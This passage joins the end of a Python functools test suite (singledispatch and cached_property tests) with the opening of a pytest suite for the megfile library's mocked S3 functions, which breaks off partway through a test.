B(A): pass class D(C, B): pass def g_A(a): return "A" def g_B(b): return "B" g.register(A, g_A) g.register(B, g_B) self.assertEqual(g(A()), "A") self.assertEqual(g(B()), "B") self.assertEqual(g(C()), "A") self.assertEqual(g(D()), "B") def test_register_decorator(self): @functools.singledispatch def g(obj): return "base" @g.register(int) def g_int(i): return "int %s" % (i,) self.assertEqual(g(""), "base") self.assertEqual(g(12), "int 12") self.assertIs(g.dispatch(int), g_int) self.assertIs(g.dispatch(object), g.dispatch(str)) # Note: in the assert above this is not g. # @singledispatch returns the wrapper. def test_wrapping_attributes(self): @functools.singledispatch def g(obj): "Simple test" return "Test" self.assertEqual(g.__name__, "g") if sys.flags.optimize < 2: self.assertEqual(g.__doc__, "Simple test") @unittest.skipUnless(decimal, 'requires _decimal') @support.cpython_only def test_c_classes(self): @functools.singledispatch def g(obj): return "base" @g.register(decimal.DecimalException) def _(obj): return obj.args subn = decimal.Subnormal("Exponent < Emin") rnd = decimal.Rounded("Number got rounded") self.assertEqual(g(subn), ("Exponent < Emin",)) self.assertEqual(g(rnd), ("Number got rounded",)) @g.register(decimal.Subnormal) def _(obj): return "Too small to care." self.assertEqual(g(subn), "Too small to care.") self.assertEqual(g(rnd), ("Number got rounded",)) def test_compose_mro(self): # None of the examples in this test depend on haystack ordering. c = collections.abc mro = functools._compose_mro bases = [c.Sequence, c.MutableMapping, c.Mapping, c.Set] for haystack in permutations(bases): m = mro(dict, haystack) self.assertEqual(m, [dict, c.MutableMapping, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) bases = [c.Container, c.Mapping, c.MutableMapping, collections.OrderedDict] for haystack in permutations(bases): m = mro(collections.ChainMap, haystack) self.assertEqual(m, [collections.ChainMap, c.MutableMapping, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) # If there's a generic function with implementations registered for # both Sized and Container, passing a defaultdict to it results in an # ambiguous dispatch which will cause a RuntimeError (see # test_mro_conflicts). bases = [c.Container, c.Sized, str] for haystack in permutations(bases): m = mro(collections.defaultdict, [c.Sized, c.Container, str]) self.assertEqual(m, [collections.defaultdict, dict, c.Sized, c.Container, object]) # MutableSequence below is registered directly on D. In other words, it # precedes MutableMapping which means single dispatch will always # choose MutableSequence here. class D(collections.defaultdict): pass c.MutableSequence.register(D) bases = [c.MutableSequence, c.MutableMapping] for haystack in permutations(bases): m = mro(D, bases) self.assertEqual(m, [D, c.MutableSequence, c.Sequence, c.Reversible, collections.defaultdict, dict, c.MutableMapping, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) # Container and Callable are registered on different base classes and # a generic function supporting both should always pick the Callable # implementation if a C instance is passed. class C(collections.defaultdict): def __call__(self): pass bases = [c.Sized, c.Callable, c.Container, c.Mapping] for haystack in permutations(bases): m = mro(C, haystack) self.assertEqual(m, [C, c.Callable, collections.defaultdict, dict, c.Mapping, c.Collection, c.Sized, c.Iterable, c.Container, object]) def test_register_abc(self): c = collections.abc d = {"a": "b"} l = [1, 2, 3] s = {object(), None} f = frozenset(s) t = (1, 2, 3) @functools.singledispatch def g(obj): return "base" self.assertEqual(g(d), "base") self.assertEqual(g(l), "base") self.assertEqual(g(s), "base") self.assertEqual(g(f), "base") self.assertEqual(g(t), "base") g.register(c.Sized, lambda obj: "sized") self.assertEqual(g(d), "sized") self.assertEqual(g(l), "sized") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.MutableMapping, lambda obj: "mutablemapping") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "sized") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(collections.ChainMap, lambda obj: "chainmap") self.assertEqual(g(d), "mutablemapping") # irrelevant ABCs registered self.assertEqual(g(l), "sized") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.MutableSequence, lambda obj: "mutablesequence") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "sized") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.MutableSet, lambda obj: "mutableset") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.Mapping, lambda obj: "mapping") self.assertEqual(g(d), "mutablemapping") # not specific enough self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sized") g.register(c.Sequence, lambda obj: "sequence") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "sized") self.assertEqual(g(t), "sequence") g.register(c.Set, lambda obj: "set") self.assertEqual(g(d), "mutablemapping") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(dict, lambda obj: "dict") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "mutablesequence") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(list, lambda obj: "list") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "mutableset") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(set, lambda obj: "concrete-set") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "concrete-set") self.assertEqual(g(f), "set") self.assertEqual(g(t), "sequence") g.register(frozenset, lambda obj: "frozen-set") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "concrete-set") self.assertEqual(g(f), "frozen-set") self.assertEqual(g(t), "sequence") g.register(tuple, lambda obj: "tuple") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") self.assertEqual(g(s), "concrete-set") self.assertEqual(g(f), "frozen-set") self.assertEqual(g(t), "tuple") def test_c3_abc(self): c = collections.abc mro = functools._c3_mro class A(object): pass class B(A): def __len__(self): return 0 # implies Sized @c.Container.register class C(object): pass class D(object): pass # unrelated class X(D, C, B): def __call__(self): pass # implies Callable expected = [X, c.Callable, D, C, c.Container, B, c.Sized, A, object] for abcs in permutations([c.Sized, c.Callable, c.Container]): self.assertEqual(mro(X, abcs=abcs), expected) # unrelated ABCs don't appear in the resulting MRO many_abcs = [c.Mapping, c.Sized, c.Callable, c.Container, c.Iterable] self.assertEqual(mro(X, abcs=many_abcs), expected) def test_false_meta(self): # see issue23572 class MetaA(type): def __len__(self): return 0 class A(metaclass=MetaA): pass class AA(A): pass @functools.singledispatch def fun(a): return 'base A' @fun.register(A) def _(a): return 'fun A' aa = AA() self.assertEqual(fun(aa), 'fun A') def test_mro_conflicts(self): c = collections.abc @functools.singledispatch def g(arg): return "base" class O(c.Sized): def __len__(self): return 0 o = O() self.assertEqual(g(o), "base") g.register(c.Iterable, lambda arg: "iterable") g.register(c.Container, lambda arg: "container") g.register(c.Sized, lambda arg: "sized") g.register(c.Set, lambda arg: "set") self.assertEqual(g(o), "sized") c.Iterable.register(O) self.assertEqual(g(o), "sized") # because it's explicitly in __mro__ c.Container.register(O) self.assertEqual(g(o), "sized") # see above: Sized is in __mro__ c.Set.register(O) self.assertEqual(g(o), "set") # because c.Set is a subclass of # c.Sized and c.Container class P: pass p = P() self.assertEqual(g(p), "base") c.Iterable.register(P) self.assertEqual(g(p), "iterable") c.Container.register(P) with self.assertRaises(RuntimeError) as re_one: g(p) self.assertIn( str(re_one.exception), (("Ambiguous dispatch: <class 'collections.abc.Container'> " "or <class 'collections.abc.Iterable'>"), ("Ambiguous dispatch: <class 'collections.abc.Iterable'> " "or <class 'collections.abc.Container'>")), ) class Q(c.Sized): def __len__(self): return 0 q = Q() self.assertEqual(g(q), "sized") c.Iterable.register(Q) self.assertEqual(g(q), "sized") # because it's explicitly in __mro__ c.Set.register(Q) self.assertEqual(g(q), "set") # because c.Set is a subclass of # c.Sized and c.Iterable @functools.singledispatch def h(arg): return "base" @h.register(c.Sized) def _(arg): return "sized" @h.register(c.Container) def _(arg): return "container" # Even though Sized and Container are explicit bases of MutableMapping, # this ABC is implicitly registered on defaultdict which makes all of # MutableMapping's bases implicit as well from defaultdict's # perspective. with self.assertRaises(RuntimeError) as re_two: h(collections.defaultdict(lambda: 0)) self.assertIn( str(re_two.exception), (("Ambiguous dispatch: <class 'collections.abc.Container'> " "or <class 'collections.abc.Sized'>"), ("Ambiguous dispatch: <class 'collections.abc.Sized'> " "or <class 'collections.abc.Container'>")), ) class R(collections.defaultdict): pass c.MutableSequence.register(R) @functools.singledispatch def i(arg): return "base" @i.register(c.MutableMapping) def _(arg): return "mapping" @i.register(c.MutableSequence) def _(arg): return "sequence" r = R() self.assertEqual(i(r), "sequence") class S: pass class T(S, c.Sized): def __len__(self): return 0 t = T() self.assertEqual(h(t), "sized") c.Container.register(T) self.assertEqual(h(t), "sized") # because it's explicitly in the MRO class U: def __len__(self): return 0 u = U() self.assertEqual(h(u), "sized") # implicit Sized subclass inferred # from the existence of __len__() c.Container.register(U) # There is no preference for registered versus inferred ABCs. with self.assertRaises(RuntimeError) as re_three: h(u) self.assertIn( str(re_three.exception), (("Ambiguous dispatch: <class 'collections.abc.Container'> " "or <class 'collections.abc.Sized'>"), ("Ambiguous dispatch: <class 'collections.abc.Sized'> " "or <class 'collections.abc.Container'>")), ) class V(c.Sized, S): def __len__(self): return 0 @functools.singledispatch def j(arg): return "base" @j.register(S) def _(arg): return "s" @j.register(c.Container) def _(arg): return "container" v = V() self.assertEqual(j(v), "s") c.Container.register(V) self.assertEqual(j(v), "container") # because it ends up right after # Sized in the MRO def test_cache_invalidation(self): from collections import UserDict import weakref class TracingDict(UserDict): def __init__(self, *args, **kwargs): super(TracingDict, self).__init__(*args, **kwargs) self.set_ops = [] self.get_ops = [] def __getitem__(self, key): result = self.data[key] self.get_ops.append(key) return result def __setitem__(self, key, value): self.set_ops.append(key) self.data[key] = value def clear(self): self.data.clear() td = TracingDict() with support.swap_attr(weakref, "WeakKeyDictionary", lambda: td): c = collections.abc @functools.singledispatch def g(arg): return "base" d = {} l = [] self.assertEqual(len(td), 0) self.assertEqual(g(d), "base") self.assertEqual(len(td), 1) self.assertEqual(td.get_ops, []) self.assertEqual(td.set_ops, [dict]) self.assertEqual(td.data[dict], g.registry[object]) self.assertEqual(g(l), "base") self.assertEqual(len(td), 2) self.assertEqual(td.get_ops, []) self.assertEqual(td.set_ops, [dict, list]) self.assertEqual(td.data[dict], g.registry[object]) self.assertEqual(td.data[list], g.registry[object]) self.assertEqual(td.data[dict], td.data[list]) self.assertEqual(g(l), "base") self.assertEqual(g(d), "base") self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(td.set_ops, [dict, list]) g.register(list, lambda arg: "list") self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(len(td), 0) self.assertEqual(g(d), "base") self.assertEqual(len(td), 1) self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(td.set_ops, [dict, list, dict]) self.assertEqual(td.data[dict], functools._find_impl(dict, g.registry)) self.assertEqual(g(l), "list") self.assertEqual(len(td), 2) self.assertEqual(td.get_ops, [list, dict]) self.assertEqual(td.set_ops, [dict, list, dict, list]) self.assertEqual(td.data[list], functools._find_impl(list, g.registry)) class X: pass c.MutableMapping.register(X) # Will not invalidate the cache, # not using ABCs yet. self.assertEqual(g(d), "base") self.assertEqual(g(l), "list") self.assertEqual(td.get_ops, [list, dict, dict, list]) self.assertEqual(td.set_ops, [dict, list, dict, list]) g.register(c.Sized, lambda arg: "sized") self.assertEqual(len(td), 0) self.assertEqual(g(d), "sized") self.assertEqual(len(td), 1) self.assertEqual(td.get_ops, [list, dict, dict, list]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict]) self.assertEqual(g(l), "list") self.assertEqual(len(td), 2) self.assertEqual(td.get_ops, [list, dict, dict, list]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict, list]) self.assertEqual(g(l), "list") self.assertEqual(g(d), "sized") self.assertEqual(td.get_ops, [list, dict, dict, list, list, dict]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict, list]) g.dispatch(list) g.dispatch(dict) self.assertEqual(td.get_ops, [list, dict, dict, list, list, dict, list, dict]) self.assertEqual(td.set_ops, [dict, list, dict, list, dict, list]) c.MutableSet.register(X) # Will invalidate the cache. self.assertEqual(len(td), 2) # Stale cache. self.assertEqual(g(l), "list") self.assertEqual(len(td), 1) g.register(c.MutableMapping, lambda arg: "mutablemapping") self.assertEqual(len(td), 0) self.assertEqual(g(d), "mutablemapping") self.assertEqual(len(td), 1) self.assertEqual(g(l), "list") self.assertEqual(len(td), 2) g.register(dict, lambda arg: "dict") self.assertEqual(g(d), "dict") self.assertEqual(g(l), "list") g._clear_cache() self.assertEqual(len(td), 0) def test_annotations(self): @functools.singledispatch def i(arg): return "base" @i.register def _(arg: collections.abc.Mapping): return "mapping" @i.register def _(arg: "collections.abc.Sequence"): return "sequence" self.assertEqual(i(None), "base") self.assertEqual(i({"a": 1}), "mapping") self.assertEqual(i([1, 2, 3]), "sequence") self.assertEqual(i((1, 2, 3)), "sequence") self.assertEqual(i("str"), "sequence") # Registering classes as callables doesn't work with annotations, # you need to pass the type explicitly. @i.register(str) class _: def __init__(self, arg): self.arg = arg def __eq__(self, other): return self.arg == other self.assertEqual(i("str"), "str") def test_method_register(self): class A: @functools.singledispatchmethod def t(self, arg): self.arg = "base" @t.register(int) def _(self, arg): self.arg = "int" @t.register(str) def _(self, arg): self.arg = "str" a = A() a.t(0) self.assertEqual(a.arg, "int") aa = A() self.assertFalse(hasattr(aa, 'arg')) a.t('') self.assertEqual(a.arg, "str") aa = A() self.assertFalse(hasattr(aa, 'arg')) a.t(0.0) self.assertEqual(a.arg, "base") aa = A() self.assertFalse(hasattr(aa, 'arg')) def test_staticmethod_register(self): class A: @functools.singledispatchmethod @staticmethod def t(arg): return arg @t.register(int) @staticmethod def _(arg): return isinstance(arg, int) @t.register(str) @staticmethod def _(arg): return isinstance(arg, str) a = A() self.assertTrue(A.t(0)) self.assertTrue(A.t('')) self.assertEqual(A.t(0.0), 0.0) def test_classmethod_register(self): class A: def __init__(self, arg): self.arg = arg @functools.singledispatchmethod @classmethod def t(cls, arg): return cls("base") @t.register(int) @classmethod def _(cls, arg): return cls("int") @t.register(str) @classmethod def _(cls, arg): return cls("str") self.assertEqual(A.t(0).arg, "int") self.assertEqual(A.t('').arg, "str") self.assertEqual(A.t(0.0).arg, "base") def test_callable_register(self): class A: def __init__(self, arg): self.arg = arg @functools.singledispatchmethod @classmethod def t(cls, arg): return cls("base") @A.t.register(int) @classmethod def _(cls, arg): return cls("int") @A.t.register(str) @classmethod def _(cls, arg): return cls("str") self.assertEqual(A.t(0).arg, "int") self.assertEqual(A.t('').arg, "str") self.assertEqual(A.t(0.0).arg, "base") def test_abstractmethod_register(self): class Abstract(metaclass=abc.ABCMeta): @functools.singledispatchmethod @abc.abstractmethod def add(self, x, y): pass self.assertTrue(Abstract.add.__isabstractmethod__) self.assertTrue(Abstract.__dict__['add'].__isabstractmethod__) with self.assertRaises(TypeError): Abstract() def test_type_ann_register(self): class A: @functools.singledispatchmethod def t(self, arg): return "base" @t.register def _(self, arg: int): return "int" @t.register def _(self, arg: str): return "str" a = A() self.assertEqual(a.t(0), "int") self.assertEqual(a.t(''), "str") self.assertEqual(a.t(0.0), "base") def test_staticmethod_type_ann_register(self): class A: @functools.singledispatchmethod @staticmethod def t(arg): return arg @t.register @staticmethod def _(arg: int): return isinstance(arg, int) @t.register @staticmethod def _(arg: str): return isinstance(arg, str) a = A() self.assertTrue(A.t(0)) self.assertTrue(A.t('')) self.assertEqual(A.t(0.0), 0.0) def test_classmethod_type_ann_register(self): class A: def __init__(self, arg): self.arg = arg @functools.singledispatchmethod @classmethod def t(cls, arg): return cls("base") @t.register @classmethod def _(cls, arg: int): return cls("int") @t.register @classmethod def _(cls, arg: str): return cls("str") self.assertEqual(A.t(0).arg, "int") self.assertEqual(A.t('').arg, "str") self.assertEqual(A.t(0.0).arg, "base") def test_method_wrapping_attributes(self): class A: @functools.singledispatchmethod def func(self, arg: int) -> str: """My function docstring""" return str(arg) @functools.singledispatchmethod @classmethod def cls_func(cls, arg: int) -> str: """My function docstring""" return str(arg) @functools.singledispatchmethod @staticmethod def static_func(arg: int) -> str: """My function docstring""" return str(arg) for meth in ( A.func, A().func, A.cls_func, A().cls_func, A.static_func, A().static_func ): with self.subTest(meth=meth): self.assertEqual(meth.__doc__, 'My function docstring') self.assertEqual(meth.__annotations__['arg'], int) self.assertEqual(A.func.__name__, 'func') self.assertEqual(A().func.__name__, 'func') self.assertEqual(A.cls_func.__name__, 'cls_func') self.assertEqual(A().cls_func.__name__, 'cls_func') self.assertEqual(A.static_func.__name__, 'static_func') self.assertEqual(A().static_func.__name__, 'static_func') def test_double_wrapped_methods(self): def classmethod_friendly_decorator(func): wrapped = func.__func__ @classmethod @functools.wraps(wrapped) def wrapper(*args, **kwargs): return wrapped(*args, **kwargs) return wrapper class WithoutSingleDispatch: @classmethod @contextlib.contextmanager def cls_context_manager(cls, arg: int) -> str: try: yield str(arg) finally: return 'Done' @classmethod_friendly_decorator @classmethod def decorated_classmethod(cls, arg: int) -> str: return str(arg) class WithSingleDispatch: @functools.singledispatchmethod @classmethod @contextlib.contextmanager def cls_context_manager(cls, arg: int) -> str: """My function docstring""" try: yield str(arg) finally: return 'Done' @functools.singledispatchmethod @classmethod_friendly_decorator @classmethod def decorated_classmethod(cls, arg: int) -> str: """My function docstring""" return str(arg) # These are sanity checks # to test the test itself is working as expected with WithoutSingleDispatch.cls_context_manager(5) as foo: without_single_dispatch_foo = foo with WithSingleDispatch.cls_context_manager(5) as foo: single_dispatch_foo = foo self.assertEqual(without_single_dispatch_foo, single_dispatch_foo) self.assertEqual(single_dispatch_foo, '5') self.assertEqual( WithoutSingleDispatch.decorated_classmethod(5), WithSingleDispatch.decorated_classmethod(5) ) self.assertEqual(WithSingleDispatch.decorated_classmethod(5), '5') # Behavioural checks now follow for method_name in ('cls_context_manager', 'decorated_classmethod'): with self.subTest(method=method_name): self.assertEqual( getattr(WithSingleDispatch, method_name).__name__, getattr(WithoutSingleDispatch, method_name).__name__ ) self.assertEqual( getattr(WithSingleDispatch(), method_name).__name__, getattr(WithoutSingleDispatch(), method_name).__name__ ) for meth in ( WithSingleDispatch.cls_context_manager, WithSingleDispatch().cls_context_manager, WithSingleDispatch.decorated_classmethod, WithSingleDispatch().decorated_classmethod ): with self.subTest(meth=meth): self.assertEqual(meth.__doc__, 'My function docstring') self.assertEqual(meth.__annotations__['arg'], int) self.assertEqual( WithSingleDispatch.cls_context_manager.__name__, 'cls_context_manager' ) self.assertEqual( WithSingleDispatch().cls_context_manager.__name__, 'cls_context_manager' ) self.assertEqual( WithSingleDispatch.decorated_classmethod.__name__, 'decorated_classmethod' ) self.assertEqual( WithSingleDispatch().decorated_classmethod.__name__, 'decorated_classmethod' ) def test_invalid_registrations(self): msg_prefix = "Invalid first argument to `register()`: " msg_suffix = ( ". Use either `@register(some_class)` or plain `@register` on an " "annotated function." ) @functools.singledispatch def i(arg): return "base" with self.assertRaises(TypeError) as exc: @i.register(42) def _(arg): return "I annotated with a non-type" self.assertTrue(str(exc.exception).startswith(msg_prefix + "42")) self.assertTrue(str(exc.exception).endswith(msg_suffix)) with self.assertRaises(TypeError) as exc: @i.register def _(arg): return "I forgot to annotate" self.assertTrue(str(exc.exception).startswith(msg_prefix + "<function TestSingleDispatch.test_invalid_registrations.<locals>._" )) self.assertTrue(str(exc.exception).endswith(msg_suffix)) with self.assertRaises(TypeError) as exc: @i.register def _(arg: typing.Iterable[str]): # At runtime, dispatching on generics is impossible. # When registering implementations with singledispatch, avoid # types from `typing`. Instead, annotate with regular types # or ABCs. return "I annotated with a generic collection" self.assertTrue(str(exc.exception).startswith( "Invalid annotation for 'arg'." )) self.assertTrue(str(exc.exception).endswith( 'typing.Iterable[str] is not a class.' )) def test_invalid_positional_argument(self): @functools.singledispatch def f(*args): pass msg = 'f requires at least 1 positional argument' with self.assertRaisesRegex(TypeError, msg): f() class CachedCostItem: _cost = 1 def __init__(self): self.lock = py_functools.RLock() @py_functools.cached_property def cost(self): """The cost of the item.""" with self.lock: self._cost += 1 return self._cost class OptionallyCachedCostItem: _cost = 1 def get_cost(self): """The cost of the item.""" self._cost += 1 return self._cost cached_cost = py_functools.cached_property(get_cost) class CachedCostItemWait: def __init__(self, event): self._cost = 1 self.lock = py_functools.RLock() self.event = event @py_functools.cached_property def cost(self): self.event.wait(1) with self.lock: self._cost += 1 return self._cost class CachedCostItemWithSlots: __slots__ = ('_cost') def __init__(self): self._cost = 1 @py_functools.cached_property def cost(self): raise RuntimeError('never called, slots not supported') class TestCachedProperty(unittest.TestCase): def test_cached(self): item = CachedCostItem() self.assertEqual(item.cost, 2) self.assertEqual(item.cost, 2) # not 3 def test_cached_attribute_name_differs_from_func_name(self): item = OptionallyCachedCostItem() self.assertEqual(item.get_cost(), 2) self.assertEqual(item.cached_cost, 3) self.assertEqual(item.get_cost(), 4) self.assertEqual(item.cached_cost, 3) def test_threaded(self): go = threading.Event() item = CachedCostItemWait(go) num_threads = 3 orig_si = sys.getswitchinterval() sys.setswitchinterval(1e-6) try: threads = [ threading.Thread(target=lambda: item.cost) for k in range(num_threads) ] with threading_helper.start_threads(threads): go.set() finally: sys.setswitchinterval(orig_si) self.assertEqual(item.cost, 2) def test_object_with_slots(self): item = CachedCostItemWithSlots() with self.assertRaisesRegex( TypeError, "No '__dict__' attribute on 'CachedCostItemWithSlots' instance to cache 'cost' property.", ): item.cost def test_immutable_dict(self): class MyMeta(type): @py_functools.cached_property def prop(self): return True class MyClass(metaclass=MyMeta): pass with self.assertRaisesRegex( TypeError, "The '__dict__' attribute on 'MyMeta' instance does not support item assignment for caching 'prop' property.", ): MyClass.prop def test_reuse_different_names(self): """Disallow this case because decorated function a would not be cached.""" with self.assertRaises(RuntimeError) as ctx: class ReusedCachedProperty: @py_functools.cached_property def a(self): pass b = a self.assertEqual( str(ctx.exception.__context__), str(TypeError("Cannot assign the same cached_property to two different names ('a' and 'b').")) ) def test_reuse_same_name(self): """Reusing a cached_property on different classes under the same name is OK.""" counter = 0 @py_functools.cached_property def _cp(_self): nonlocal counter counter += 1 return counter class A: cp = _cp class B: cp = _cp a = A() b = B() self.assertEqual(a.cp, 1) self.assertEqual(b.cp, 2) self.assertEqual(a.cp, 1) def test_set_name_not_called(self): cp = py_functools.cached_property(lambda s: None) class Foo: pass Foo.cp = cp with self.assertRaisesRegex( TypeError, "Cannot use cached_property instance without calling __set_name__ on it.", ): Foo().cp def test_access_from_class(self): self.assertIsInstance(CachedCostItem.cost, py_functools.cached_property) def test_doc(self): self.assertEqual(CachedCostItem.cost.__doc__, "The cost of the item.") if __name__ == '__main__': unittest.main()
test_s3.py
import os import sys import threading import time from collections import namedtuple from functools import partial from io import BytesIO from pathlib import Path from typing import Iterable, List, Tuple import boto3 import botocore import pytest from moto import mock_s3 from megfile import s3, smart from megfile.errors import UnknownError, UnsupportedError, translate_s3_error from megfile.interfaces import Access, FileEntry, StatResult from megfile.s3 import _group_s3path_by_bucket, _group_s3path_by_prefix, _s3_split_magic, content_md5_header from . import Any, FakeStatResult, Now File = namedtuple('File', ['bucket', 'key', 'body']) """ bucketA/ |-folderAA/ |-folderAAA/ |-fileAAAA |-folderAB-C/ |-fileAB-C |-folderAB/ |-fileAB |-fileAC |-fileAA |-fileAB bucketB/ bucketC/ |-folder (目录) |-file |-folder (与目录同名的文件) |-folderAA |-fileAA bucketForGlobTest/ (用于 s3_glob 的测试,结构较复杂) |-1 |-a (目录) |-b |-c |-1.json |-A.msg |-1.json |-a (与目录同名的文件) |-2 |-a |-d |-c |-1.json |-2.json |-b |-c |-1.json |-2.json |-a |-1.json emptyBucketForGlobTest/ bucketForGlobTest2/ (用于 s3_glob 多个bucket和带wildcard的测试) |-1 |-a (目录) |-b |-c |-1.json |-2.json |-A.msg |-1.json |-c |-1.json |-A.msg |-1.json |-a (与目录同名的文件) bucketForGlobTest3/ (用于 s3_glob 多个bucket和带wildcard的测试) |-1 |-a (目录) |-b |-c |-1.json |-A.msg |-1.json |-a (与目录同名的文件) """ FILE_LIST = [ File('bucketA', 'folderAA/folderAAA/fileAAAA', 'fileAAAA'), File('bucketA', 'folderAB-C/fileAB-C', 'fileAB-C'), File('bucketA', 'folderAB/fileAB', 'fileAB'), File('bucketA', 'folderAB/fileAC', 'fileAC'), File('bucketA', 'fileAA', 'fileAA'), File('bucketA', 'fileAB', 'fileAB'), File('bucketB', None, None), # 空 bucket File('bucketC', 'folder/file', 'file'), File('bucketC', 'folder', 'file'), # 与同级 folder 同名的 file File('bucketC', 'folderAA/fileAA', 'fileAA'), File('bucketForGlobTest', '1/a/b/c/1.json', '1.json'), File('bucketForGlobTest', '1/a/b/1.json', '1.json'), # for glob(*/a/*/*.json) File('bucketForGlobTest', '1/a/b/c/A.msg', 'A.msg'), File('bucketForGlobTest', '1/a', 'file, same name with folder'), File('bucketForGlobTest', '2/a/d/c/1.json', '1.json'), File('bucketForGlobTest', '2/a/d/2.json', '2.json'), File('bucketForGlobTest', '2/a/b/c/1.json', '1.json'), File('bucketForGlobTest', '2/a/b/c/2.json', '2.json'), File('bucketForGlobTest', '2/a/b/a/1.json', '1.json'), File('emptyBucketForGlobTest', None, None), File('bucketForGlobTest2', '1/a/b/c/1.json', '1.json'), File('bucketForGlobTest2', '1/a/b/c/2.json', '2.json'), File('bucketForGlobTest2', '1/a/b/1.json', '1.json'), # for glob(*/a/*/*.json) File('bucketForGlobTest2', '1/a/b/c/A.msg', 'A.msg'), File('bucketForGlobTest2', '1/a', 'file, same name with folder'), File('bucketForGlobTest2', '1/a/c/1.json', '1.json'), File('bucketForGlobTest2', '1/a/1.json', '1.json'), # for glob(*/a/*/*.json) File('bucketForGlobTest2', '1/a/c/A.msg', 'A.msg'), File('bucketForGlobTest3', '1/a/b/c/1.json', '1.json'), File('bucketForGlobTest3', '1/a/b/1.json', '1.json'), # for glob(*/a/*/*.json) File('bucketForGlobTest3', '1/a/b/c/A.msg', 'A.msg'), File('bucketForGlobTest3', '1/a', 'file, same name with folder'), ] @pytest.fixture def s3_empty_client(mocker): with mock_s3(): client = boto3.client('s3') mocker.patch('megfile.s3.get_s3_client', return_value=client) yield client @pytest.fixture def s3_setup(mocker, s3_empty_client, file_list=FILE_LIST): s3_client = s3_empty_client buckets = [] for file in file_list: if file.bucket not in buckets: buckets.append(file.bucket) s3_client.create_bucket(Bucket=file.bucket) if file.key is not None: s3_client.put_object( Bucket=file.bucket, Key=file.key, Body=file.body) return s3_client @pytest.fixture def truncating_client(mocker, s3_setup): '''将 list_objects_v2 的 MaxKeys 限定为 1,在结果超过 1 个 key 时总是截断''' truncating_client = mocker.patch.object( s3_setup, 'list_objects_v2', side_effect=partial(s3_setup.list_objects_v2, MaxKeys=1)) return truncating_client def make_stat(size=0, mtime=None, isdir=False): if mtime is None: mtime = 0.0 if isdir else Now() return StatResult(size=size, mtime=mtime, isdir=isdir) def test_retry(s3_empty_client, mocker): read_error = botocore.exceptions.IncompleteReadError( actual_bytes=0, expected_bytes=1) client = s3.get_s3_client() s3._patch_make_request(client) mocker.patch.object( client._endpoint, 'make_request', side_effect=read_error) sleep = mocker.patch.object(time, 'sleep') with pytest.raises(UnknownError) as error: s3.s3_exists('s3://bucket') assert error.value.__cause__ is read_error assert sleep.call_count == s3.max_retries - 1 def test_get_endpoint_url(mocker): mocker.patch('megfile.s3.get_scoped_config', return_value={}) assert s3.get_endpoint_url() == 'https://s3.amazonaws.com' def test_get_endpoint_url_from_env(mocker): mocker.patch('megfile.s3.get_scoped_config', return_value={}) mocker.patch.dict(os.environ, {'OSS_ENDPOINT': 'oss-endpoint'}) assert s3.get_endpoint_url() == 'oss-endpoint' def test_get_s3_client(mocker): mock_session = mocker.Mock(spec=boto3.session.Session) mocker.patch('megfile.s3.get_scoped_config', return_value={}) mocker.patch('megfile.s3.get_s3_session', return_value=mock_session) s3.get_s3_client() mock_session.client.assert_called_with( 's3', endpoint_url='https://s3.amazonaws.com', config=Any()) def test_get_s3_client_from_env(mocker): mock_session = mocker.Mock(spec=boto3.session.Session) mocker.patch('megfile.s3.get_scoped_config', return_value={}) mocker.patch('megfile.s3.get_s3_session', return_value=mock_session) mocker.patch.dict(os.environ, {'OSS_ENDPOINT': 'oss-endpoint'}) s3.get_s3_client() mock_session.client.assert_called_with( 's3', endpoint_url='oss-endpoint', config=Any()) def test_get_s3_client_with_config(mocker): mock_session = mocker.Mock(spec=boto3.session.Session) mocker.patch('megfile.s3.get_scoped_config', return_value={}) mocker.patch('megfile.s3.get_s3_session', return_value=mock_session) config = botocore.config.Config(max_pool_connections=20) s3.get_s3_client(config) mock_session.client.assert_called_with( 's3', endpoint_url='https://s3.amazonaws.com', config=config) def test_get_s3_session_threading(mocker): session_call = mocker.patch('boto3.session.Session') for i in range(2): thread = threading.Thread(target=s3.get_s3_session) thread.start() thread.join() assert session_call.call_count == 2 def test_get_s3_session_threading_reuse(mocker): session_call = mocker.patch('boto3.session.Session') def session_twice(): s3.get_s3_session() s3.get_s3_session() thread = threading.Thread(target=session_twice) thread.start() thread.join() assert session_call.call_count == 1 def test_is_s3(): # 不以 s3:// 开头 assert s3.is_s3('') == False assert s3.is_s3('s') == False assert s3.is_s3('s3') == False assert s3.is_s3('s3:') == False assert s3.is_s3('s3:bucket') == False assert s3.is_s3('S3:bucket') == False 